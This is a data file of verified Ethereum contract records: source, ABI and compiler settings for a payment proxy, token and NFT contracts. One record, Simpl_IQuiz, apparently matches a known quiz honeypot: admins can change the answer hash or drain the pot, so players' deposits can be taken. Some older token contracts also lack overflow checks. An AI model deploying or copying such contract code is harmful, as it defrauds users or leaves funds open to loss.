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Proxy | contracts/PaymentMaster.sol | 0xdff70a4b983e38d14c6d4102e1e5a1f09d087d31 | Solidity | pragma solidity 0.5.16;
/**
* The PaymentMaster sits above the payment handler contracts.
* It deploys and keeps track of all the handlers.
* It can trigger events by child handlers when they receive ETH.
* It allows ERC20 tokens to be swept in bulk to the owner account.
*/
contract PaymentMaster is Ownable {
using SafeERC20 for IERC20;
// payment handler logic contract address
address public handlerLogicAddress ;
// A list of handler addresses for retrieval
address[] public handlerList;
// A mapping of handler addresses for lookups
mapping(address => bool) public handlerMap;
// Events triggered for listeners
event HandlerCreated(address indexed _addr);
event EthPaymentReceived(address indexed _to, address indexed _from, uint256 _amount);
/** Deploy the payment handler logic contract */
constructor() public {
deployHandlerLogic();
}
/**
* Called by the constructor this function deploys an instance of the PaymentHandler
* that can be used by subsequent handler deployments via Proxy
*/
function deployHandlerLogic() internal {
// Deploy the new contract
PaymentHandler createdHandler = new PaymentHandler();
// initialize the deployed PaymentHandler
createdHandler.initialize(this);
// set the paymentHandlerLogicAddress
handlerLogicAddress = address(createdHandler);
}
/**
* Anyone can call the function to deploy a new payment handler.
* The new contract will be created, added to the list, and an event fired.
*/
function deployNewHandler() public {
// Deploy the new Proxy contract with the handler logic address
Proxy createdProxy = new Proxy(handlerLogicAddress);
// instantiate a PaymentHandler contract at the created Proxy address
PaymentHandler proxyHandler = PaymentHandler(address(createdProxy));
// initialize the Proxy with this contract's address
proxyHandler.initialize(this);
// Add it to the list and the mapping
handlerList.push(address(createdProxy));
handlerMap[address(createdProxy)] = true;
// Emit event to let watchers know that a new handler was created
emit HandlerCreated(address(createdProxy));
}
/**
* Allows caller to determine how long the handler list is for convenience
*/
function getHandlerListLength() public view returns (uint) {
return handlerList.length;
}
/**
* This function is called by handlers when they receive ETH payments.
*/
function firePaymentReceivedEvent(address to, address from, uint256 amount) public {
// Verify the call is coming from a handler
require(handlerMap[msg.sender], "Only payment handlers are allowed to trigger payment events.");
// Emit the event
emit EthPaymentReceived(to, from, amount);
}
/**
* Allows a caller to sweep multiple handlers in one transaction
*/
function multiHandlerSweep(address[] memory handlers, IERC20 tokenContract) public {
for (uint i = 0; i < handlers.length; i++) {
// Whitelist calls to only handlers
require(handlerMap[handlers[i]], "Only payment handlers are valid sweep targets.");
// Trigger sweep
PaymentHandler(address(uint160(handlers[i]))).sweepTokens(tokenContract);
}
}
/**
* Safety function to allow sweep of ERC20s if accidentally sent to this contract
*/
function sweepTokens(IERC20 token) public {
// Get the current balance
uint balance = token.balanceOf(address(this));
// Transfer to the owner
token.safeTransfer(this.owner(), balance);
}
}
// MIT License
// Copyright (c) 2020 Tokensoft
// Permission is hereby granted, free of charge, to any person obtaining a copy
// of this software and associated documentation files (the "Software"), to deal
// in the Software without restriction, including without limitation the rights
// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
// copies of the Software, and to permit persons to whom the Software is
// furnished to do so, subject to the following conditions:
// The above copyright notice and this permission notice shall be included in all
// copies or substantial portions of the Software.
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
// SOFTWARE. | [{"inputs":[{"internalType":"address","name":"contractLogic","type":"address"}],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"payable":true,"stateMutability":"payable","type":"fallback"}] | v0.5.16+commit.9c3226ce | false | 200 | 00000000000000000000000055fec5a65b5949c53d8866249e5fe22143dddd0c | Default | MIT | false | bzzr://4eada0de64d77f721bf1e645815dc802bbe9465fa50425646d0dfcecbf49d7c5 |
||
Nameless | Nameless.sol | 0xec7a68b88adc10028b7129222f72362de49c6ff6 | Solidity | pragma solidity ^0.4.4;
contract Token {
/// @return total amount of tokens
function totalSupply() constant returns (uint256 supply) {}
/// @param _owner The address from which the balance will be retrieved
/// @return The balance
function balanceOf(address _owner) constant returns (uint256 balance) {}
/// @notice send `_value` token to `_to` from `msg.sender`
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transfer(address _to, uint256 _value) returns (bool success) {}
/// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from`
/// @param _from The address of the sender
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {}
/// @notice `msg.sender` approves `_addr` to spend `_value` tokens
/// @param _spender The address of the account able to transfer the tokens
/// @param _value The amount of wei to be approved for transfer
/// @return Whether the approval was successful or not
function approve(address _spender, uint256 _value) returns (bool success) {}
/// @param _owner The address of the account owning tokens
/// @param _spender The address of the account able to transfer the tokens
/// @return Amount of remaining tokens allowed to spent
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {}
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract StandardToken is Token {
function transfer(address _to, uint256 _value) returns (bool success) {
//Default assumes totalSupply can't be over max (2^256 - 1).
//If your token leaves out totalSupply and can issue more tokens as time goes on, you need to check if it doesn't wrap.
//Replace the if with this one instead.
//if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) {
if (balances[msg.sender] >= _value && _value > 0) {
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
} else { return false; }
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
//same as above. Replace this line with the following if you want to protect against wrapping uints.
//if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) {
if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) {
balances[_to] += _value;
balances[_from] -= _value;
allowed[_from][msg.sender] -= _value;
Transfer(_from, _to, _value);
return true;
} else { return false; }
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
uint256 public totalSupply;
}
//name this contract whatever you'd like
contract Nameless is StandardToken {
function () {
//if ether is sent to this address, send it back.
throw;
}
/* Public variables of the token */
/*
NOTE:
The following variables are OPTIONAL vanities. One does not have to include them.
They allow one to customise the token contract & in no way influences the core functionality.
Some wallets/interfaces might not even bother to look at this information.
*/
string public name; //fancy name: eg Simon Bucks
uint8 public decimals; //How many decimals to show. ie. There could 1000 base units with 3 decimals. Meaning 0.980 SBX = 980 base units. It's like comparing 1 wei to 1 ether.
string public symbol; //An identifier: eg SBX
string public version = 'H1.0'; //human 0.1 standard. Just an arbitrary versioning scheme.
//
// CHANGE THESE VALUES FOR YOUR TOKEN
//
//make sure this function name matches the contract name above. So if you're token is called TutorialToken, make sure the //contract name above is also TutorialToken instead of ERC20Token
function Nameless(
) {
balances[msg.sender] = 99983740000000000000000000; // Give the creator all initial tokens (100000 for example)
totalSupply = 107975610000000000000000000; // Update total supply (100000 for example)
name = "Nameless"; // Set the name for display purposes
decimals = 18; // Amount of decimals for display purposes
symbol = "NXN"; // Set the symbol for display purposes
}
/* Approves and then calls the receiving contract */
function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
//call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this.
//receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData)
//it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead.
if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; }
return true;
}
} | [{"constant":true,"inputs":[],"name":"name","outputs":[{"name":"","type":"string"}],"payable":false,"type":"function"},{"constant":false,"inputs":[{"name":"_spender","type":"address"},{"name":"_value","type":"uint256"}],"name":"approve","outputs":[{"name":"success","type":"bool"}],"payable":false,"type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"name":"","type":"uint256"}],"payable":false,"type":"function"},{"constant":false,"inputs":[{"name":"_from","type":"address"},{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"name":"transferFrom","outputs":[{"name":"success","type":"bool"}],"payable":false,"type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"name":"","type":"uint8"}],"payable":false,"type":"function"},{"constant":true,"inputs":[],"name":"version","outputs":[{"name":"","type":"string"}],"payable":false,"type":"function"},{"constant":true,"inputs":[{"name":"_owner","type":"address"}],"name":"balanceOf","outputs":[{"name":"balance","type":"uint256"}],"payable":false,"type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"name":"","type":"string"}],"payable":false,"type":"function"},{"constant":false,"inputs":[{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"name":"transfer","outputs":[{"name":"success","type":"bool"}],"payable":false,"type":"function"},{"constant":false,"inputs":[{"name":"_spender","type":"address"},{"name":"_value","type":"uint256"},{"name":"_extraData","type":"bytes"}],"name":"approveAndCall","outputs":[{"name":"success","type":"bool"}],"payable":false,"type":"function"},{"constant":true,"inputs":[{"name":"_owner","type":"address"},{"name":"_spender","type":"address"}],"name":"allowance","outputs":[{"name":"remaining","type":"uint256"}],"payable":false,"type":"function"},{"inputs":[],"type":"constructor"},{"payable":false,"type":"fallback"},{"anonymous":false,"inputs":[{"indexed":true,"name":"_from","type":"address"},{"indexed":true,"name":"_to","type":"address"},{"indexed":false,"name":"_value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"_owner","type":"address"},{"indexed":true,"name":"_spender","type":"address"},{"indexed":false,"name":"_value","type":"uint256"}],"name":"Approval","type":"event"}] | v0.4.4+commit.4633f3de | false | 200 | Default | false | |||||
Simpl_IQuiz | Simpl_IQuiz.sol | 0x72f8c240782606248197106bf38b4741cd844961 | Solidity | pragma solidity ^0.4.25;
contract Simpl_IQuiz
{
function Try(string _response) external payable
{
require(msg.sender == tx.origin);
if(responseHash == keccak256(_response) && msg.value > 0.4 ether)
{
msg.sender.transfer(this.balance);
}
}
string public question;
bytes32 responseHash;
mapping (bytes32=>bool) admin;
function Start(string _question, string _response) public payable isAdmin{
if(responseHash==0x0){
responseHash = keccak256(_response);
question = _question;
}
}
function Stop() public payable isAdmin {
msg.sender.transfer(this.balance);
}
function New(string _question, bytes32 _responseHash) public payable isAdmin {
question = _question;
responseHash = _responseHash;
}
constructor(bytes32[] admins) public{
for(uint256 i=0; i< admins.length; i++){
admin[admins[i]] = true;
}
}
modifier isAdmin(){
require(admin[keccak256(msg.sender)]);
_;
}
function() public payable{}
} | [{"constant":false,"inputs":[{"name":"_response","type":"string"}],"name":"Try","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":true,"inputs":[],"name":"question","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"Stop","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":false,"inputs":[{"name":"_question","type":"string"},{"name":"_response","type":"string"}],"name":"Start","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":false,"inputs":[{"name":"_question","type":"string"},{"name":"_responseHash","type":"bytes32"}],"name":"New","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"inputs":[{"name":"admins","type":"bytes32[]"}],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"payable":true,"stateMutability":"payable","type":"fallback"}] | v0.4.25+commit.59dbf8f1 | true | 200 | 00000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000003fc4ffa0ff8069bcb2466f9e35612be5fa916ff45a39c7a2e6bd8deed2b8544f8ac875aefd920eb697e291f9414a2103c99426ce8ef319508f7fb321d71e92e858f59c0eee0b6ed0c521c2609770180e5d7de0e1de3a415621ca6ba99c914400e | Default | false | bzzr://0ef0b8c4e847ba05dd67cfae56860479e41387ef037f86c5b5cd01ac24bc20a3 |
|||
GUNNAR | contracts/GUNNAR.sol | 0x7adfe8a2ac15973485f0f8b253d2d75433d5be7d | Solidity | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/// @title: Gunnar Magnus
/// @author: manifold.xyz
import "./ERC721Creator.sol";
////////////////////////////////////////////////////////////////////////////////////////////////
// //
// //
// ╠╠╬╢╣╬╢╢╠╬╬╟╣╬╢╬╬╬╬╬╬╬╣▓▓▓╬╬╟╣╬╢╬╬╬╬╬╬╬▓╣▒░▒▒╠╟╣╬╩░░░░░░░░░╟╬╬╟╬╬╢╠╠▒▒░░╠╠╠╠╠╠╠╠ //
// ╢╬╢╣╢╢╣╣╢╢╢╢╣╬╠╬╠╠╠╢╢╣╢╬╠╠╠╠╠╬╠╬╫▓████▒╬╩╠╠╠╠╬╬╬╣▒░░░░░░░░░░╠╠╠╠╠╠╠╠╬╠╠╠╠╢╣╣╠╬╠╩ //
// ╠╠╬╢╢╣╢╠╬╠╠╬╢╬╢╬╠╠╠╬╠╬╬╢╢╢╣╢╬╠╠╠╠╠╬╠╬╫▓╢░╠░░░░░╠╬╠░░░░░░░░░░░╠╠╠╠╠╠╠╠╠╠╠╠╬╠╬╠╩░░ //
// ╠╬╢╢╬╬╟╢╢╢╢╢╢╣╢╬╠╠╠╠╠╬╫▓╢╢╣╢╬╠╠╠╠╠╬╠╬╫▓▒╠▒╠░░░░╠╠╠░░░░░░░░░░╠╠╠╢╣╬╬╬╬╬╠╠╠╠╩░░░▒░ //
// ╠╢╣╬╢╬╢╢╢╢╣╠╢╣╬╠╬╬╬╢╬╟╣▓▓▓╬╢╬█╬╢╬╬██▓╬╬▒▄▒╠▒░░░╠╠╩░░╠▒░░░░╠╠░╠╠╢╢╢╬╬╬╬╠╠░░░░░░╚╚ //
// ╢╢╢╠╟╬╢╢╢╢╢╠╢╢╣╣╣╬╬╢╠╠╢▓╢╢╣╢╬██████████████▒╠╠╠╫╬▒░╠╢▒▒░░░░░░╠╠╬╬╬╬╠╠╠▒░░░░░░░░░ //
// ╠╢╠╢╢╢╢╢╢╢╢╢╢╢▓██▒╬╬╢╢╬╬█████████████████████╣╣╬╢▒▒╢╢╢▒╠╠▒░░░╠╠╬╬╠╬╬╠╬╠░╠░╠▒▒░░░ //
// ╠╢╠╢╢╢╟╢╢╢╢╢╬╢╬╢╣╢╬╬╬▓████████████████████████▒╢╣▓╬╢╬╠╠╟╣▓▓▒╠╠╠╠╠╢╠╬╟╬╬▒░░░╩░░░░ //
// ╬╢╢╢╢╢╢╣╣╣╣╣╢╬╠╠╠╬╬╬███████████████████████████▓╢╬╬╠╩╠╟╢╬╬╬╠╢╠╬╠╠╠╢╣╢╬╢╣╬▒░░░░░░ //
// ╢╣╬╢╢╣╢╣▓╣╣╢╢╢╠╬╬╬╬██████████████████████████████▒╬╠╠╠╠╠╠░░╟╢╠╟╠╩╠╠╠╬╬╬╬╣╬▒░░░░╦ //
// ╬╬╢╢╢╬╢╢╢╣╣╣╣╢╢╬╢╢╣███████████████████████████████▒╠╠╠╠╬╫▒░░╠╠╠╠░░╚╠╠╠╠▒▒╠▄▄▓▓▓▓ //
// ╢╬╬╢╣╬╢╣╢╢╣▓╣╢╢╬╢╬╫████████████████████████████████▌╠▒░░░░╠╠╟╣▓▒╠╠╠▒╣╣▓▓▓▓▓╬╬╠╠╠ //
// ╣╠╬╢╣╬╠╬╬╬╢╣▒╬╠╬╬╬╫██████████████████████████████████▄▄▄▄▄▄▓▓▓▓▓▓▓▓▓▓▓▓╣╣▓▒▒╣▓╣╬ //
// ╣▒╬╬╢╣╬╢╠╬╢╢▓▓╣╬╬╢╣██████████████████████████████████████████████████▌╠╠╣▓▓▓╬╬╠╢ //
// ╬╬╬╠╢╣╣╬╢╢╣▓▓▓▓▓╬▓████████████████████████████████████████████████████▓▓▓▓▒╬╩░╠╟ //
// ╢╣╣╣▓▓▓▓▓▓▓██████████████████████████████████████████████████████████▓▒╬╠╠╠╠╠╠╟╣ //
// ╬╢╬╬╬╬╬╢▓████████████████████████████████████╩███▓▓▓▓███████████████▒╢╣╬╠░╠╬╬╠╠╣ //
// ╢╬╬╠╠╬▓██████████████████████████████████████▒░╙Γ` ╟██████████▓▓▓╢╢╬╬╬░░░░╠╠╬╬ //
// ╣╣╬╠╠█████████████████████████████╬╬╬╬░╟██████▒░ ^████╬╬▓▓▓▓▓▒╬╣▒╬╠╢╬▒╠╠╩░╠╫ //
// ╢╠╬╠██████████████████████████████▓▒╬▒░╟██████▓╦» '╠╬╢╣▓╣╢╠╢▓▓▓▓▓▓▒▒╠╠╬╬╠╠╢╠╟ //
// ╠╬╬▒║██████████████████████████████▓▒╬╫▓██████▓▒▒`\ ╠╠╫▓▓╣╬╠╢▓▓▓▓▓▓▓╬╠╠░░░╠╬╬╢ //
// ╬╬╠╠╠╬▀█████████████████████████████▓▓▓▓█████▒╫█▓▒╦,.¡╟╬╢▓▓╣╢╢╣▓▓▓▓▓▓▓▒▒╩╠╠╠╠╠╠╟ //
// ╣╣╣╢╢╬╬╬╠╬╬╬██████████▓██████████████▓▓▓██████▓╬▓▓▓▓▒╗╟▒╢▓▓▓╬╢╬╣▓▓▓▓▓▓▒╬▒░╠╠╠╠╟╣ //
// ╢╢╢╬╬╠╢╢╬╬╢╬╬╠╟▓╬▓╢╬╬╬╣╣╬███████████████▓╟██▓▒╦░, ╙▓╣╬▓▓▓▓╢▓▓╣╣▓█▓▓╣▓▓▓▒╬╟╠╠▒╠╬╢ //
// ╬╢╢╬╬╠╬╢╬╟▓╣▒╣╬╢╬▓╣▓▓╬╬╬╠███████████████▓▓▓▓▓▓╢╬▒░▐╣▓▓▓▓▓▒╩╬╣▒╬▓▓▓▒╢╢▓╣▓▒╣╣▒╫▓▓▓ //
// ╬╬╬╠╠╠╠╬╢╣╬╢▓╬╢╬▓▓▒╬╬╠╠╠╠╫████████████████▓▓╣▓▓▒░░╫▓█▓▓▓▒╬░╠╠╠╟▓▓╣╬╠╢▓▒╣╬╠╠╬╬╣▓▓ //
// ╠╠╬╠╠╟╠╠╠╠╠╬╠╫╬▓╬╬╬╠╠╠╠╣▓███████████████████▓▓╣▓╣╢▓▓▓▓▓▒╬░░╠╠╟╫▓▓▒╢╢╢▓▓╣╣╣╬╠░╠╟╣ //
// ╢╢╢╢╠╬╠╠╠╠╠╠╢▓█▒╬╬╠╠╟▓▓╬▓█████████████████████▓▓▓▓█▓╣╣▓▒▒░░╠╠╬╢█▓▒╬╢╢▓▓╣╣▓╬╩╠╠╢╢ //
// ╢╢╢╬╬╠╠╠╠╟╢╣╣╬▓▒╣╣╣▓╬▓███████████████████████████╬██╬╢╣╬░░░╠╠╠╠╟▓▓╣╣╣▓▓╣▓▓▒▒╠╬╬╟ //
// ╢╢╢╢╠╠╠╠╠╠╢▓▓▓▓╬▓▒╣▓█████████████████████████╬╩╚╓███╢╢╣▒╣▒▒╠╚╚░╚╠╣▓▓▓▓╣▓▓▒╬╠╠╠╠╠ //
// ╣╢╢╬╢╬╠╬╬╠╟╣▓▓▓╣╣▓████████████████████████▓╠░░░▓█████▓╬╬╬╬╢╢▒░░░░╚╠╢▓▓▓▓▒╬╠╬╠╠╠╠ //
// ╣╣╣╣╬╬╠╠╠╠╬╢╣╣▓▓██████████████████████▓▓▓╬╬╬░▄█████████╬╢╣╠╟╣╣╣╠╠▒░╠╢╢╣╬╬╠╠╠╩╩╩░ //
// ╣╣╣╣╣╬╬╠╠╬╬╬╢╠╬███████████████████████████████████████████▓▓▓▓▓▓▓╣▒╣╢╢╣╣╢╠╠▒░░░░ //
// ╣╣╣╣╣╬╬╬╟╬╬▄▓███████████████████████████████████████████████████▓▓▓▓▓▓▓▓▓▓▓╣╣╢╠╠ //
// ╣╣╣╣╣╬╬╬▓█████████████████████████████████████████████████████████████▓▓╢▓▓▓▓▓╣╣ //
// ╣▓╣▓▓██████████████████████████████████████████████████████████████████████▓▓▓▓▓ //
// ████████████████████████████████████████████████████████████████████████████████ //
// ████████████████████████████████████████████████████████████████████████████████ //
// ████████████████████████████████████████████████████████████████████████████████ //
// ████████████████████████████████████████████████████████████████████████████████ //
// //
// //
// //
// //
////////////////////////////////////////////////////////////////////////////////////////////////
contract GUNNAR is ERC721Creator {
constructor() ERC721Creator("Gunnar Magnus", "GUNNAR") {}
} | [{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"stateMutability":"payable","type":"fallback"},{"inputs":[],"name":"implementation","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}] | v0.8.7+commit.e28d00a7 | true | 300 | Default | true | 0xe4e4003afe3765aca8149a82fc064c0b125b9e5a | ||||
Robot | Robot.sol | 0x8c907284365eddfed4824cd6e1c4a915bd3f6a22 | Solidity | pragma solidity ^0.4.4;
contract Token {
/// @return total amount of tokens
function totalSupply() constant returns (uint256 supply) {}
/// @param _owner The address from which the balance will be retrieved
/// @return The balance
function balanceOf(address _owner) constant returns (uint256 balance) {}
/// @notice send `_value` token to `_to` from `msg.sender`
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transfer(address _to, uint256 _value) returns (bool success) {}
/// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from`
/// @param _from The address of the sender
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {}
/// @notice `msg.sender` approves `_addr` to spend `_value` tokens
/// @param _spender The address of the account able to transfer the tokens
/// @param _value The amount of wei to be approved for transfer
/// @return Whether the approval was successful or not
function approve(address _spender, uint256 _value) returns (bool success) {}
/// @param _owner The address of the account owning tokens
/// @param _spender The address of the account able to transfer the tokens
/// @return Amount of remaining tokens allowed to spent
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {}
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract StandardToken is Token {
function transfer(address _to, uint256 _value) returns (bool success) {
//Default assumes totalSupply can't be over max (2^256 - 1).
//If your token leaves out totalSupply and can issue more tokens as time goes on, you need to check if it doesn't wrap.
//Replace the if with this one instead.
//if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) {
if (balances[msg.sender] >= _value && _value > 0) {
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
} else { return false; }
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
//same as above. Replace this line with the following if you want to protect against wrapping uints.
//if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) {
if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) {
balances[_to] += _value;
balances[_from] -= _value;
allowed[_from][msg.sender] -= _value;
Transfer(_from, _to, _value);
return true;
} else { return false; }
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
uint256 public totalSupply;
}
//name this contract whatever you'd like
contract Robot is StandardToken {
function () {
//if ether is sent to this address, send it back.
throw;
}
/* Public variables of the token */
/*
NOTE:
The following variables are OPTIONAL vanities. One does not have to include them.
They allow one to customise the token contract & in no way influences the core functionality.
Some wallets/interfaces might not even bother to look at this information.
*/
string public name; //fancy name: eg Simon Bucks
uint8 public decimals; //How many decimals to show. ie. There could 1000 base units with 3 decimals. Meaning 0.980 SBX = 980 base units. It's like comparing 1 wei to 1 ether.
string public symbol; //An identifier: eg SBX
string public version = '1.1.3'; //human 0.1 standard. Just an arbitrary versioning scheme.
//
// CHANGE THESE VALUES FOR YOUR TOKEN
//
//make sure this function name matches the contract name above. So if you're token is called TutorialToken, make sure the //contract name above is also TutorialToken instead of ERC20Token
function Robot(
) {
balances[msg.sender] = 100000000000000000000000000; // Give the creator all initial tokens (100000 for example)
totalSupply = 100000000000000000000000000; // Update total supply (100000 for example)
name = "PlatanoPowered"; // Set the name for display purposes
decimals = 18; // Amount of decimals for display purposes
symbol = "PLP"; // Set the symbol for display purposes
}
/* Approves and then calls the receiving contract */
function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
//call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this.
//receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData)
//it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead.
if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; }
return true;
}
} | [{"constant":true,"inputs":[],"name":"name","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_spender","type":"address"},{"name":"_value","type":"uint256"}],"name":"approve","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_from","type":"address"},{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"name":"transferFrom","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"name":"","type":"uint8"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"version","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"_owner","type":"address"}],"name":"balanceOf","outputs":[{"name":"balance","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"name":"transfer","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_spender","type":"address"},{"name":"_value","type":"uint256"},{"name":"_extraData","type":"bytes"}],"name":"approveAndCall","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"_owner","type":"address"},{"name":"_spender","type":"address"}],"name":"allowance","outputs":[{"name":"remaining","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"inputs":[],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"payable":false,"stateMutability":"nonpayable","type":"fallback"},{"anonymous":false,"inputs":[{"indexed":true,"name":"_from","type":"address"},{"indexed":true,"name":"_to","type":"address"},{"indexed":false,"name":"_value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"_owner","type":"address"},{"indexed":true,"name":"_spender","type":"address"},{"indexed":false,"name":"_value","type":"uint256"}],"name":"Approval","type":"event"}] | v0.4.26+commit.4563c3fc | false | 200 | Default | None | false | bzzr://d88ff428842d1765c9a06e428ba2ddbba55a10733571e27016339986802530c1 |
|||
Keep3rToken | Keep3rToken.sol | 0xde5ccf62763a228b4af36ca3e3dbfff0a698a73d | Solidity | /*
Keep3r
Testing token, do not buy
Do it at your OWN stupidity
*/
pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal virtual view returns (address payable) {
return msg.sender;
}
function _msgData() internal virtual view returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount)
external
returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender)
external
view
returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
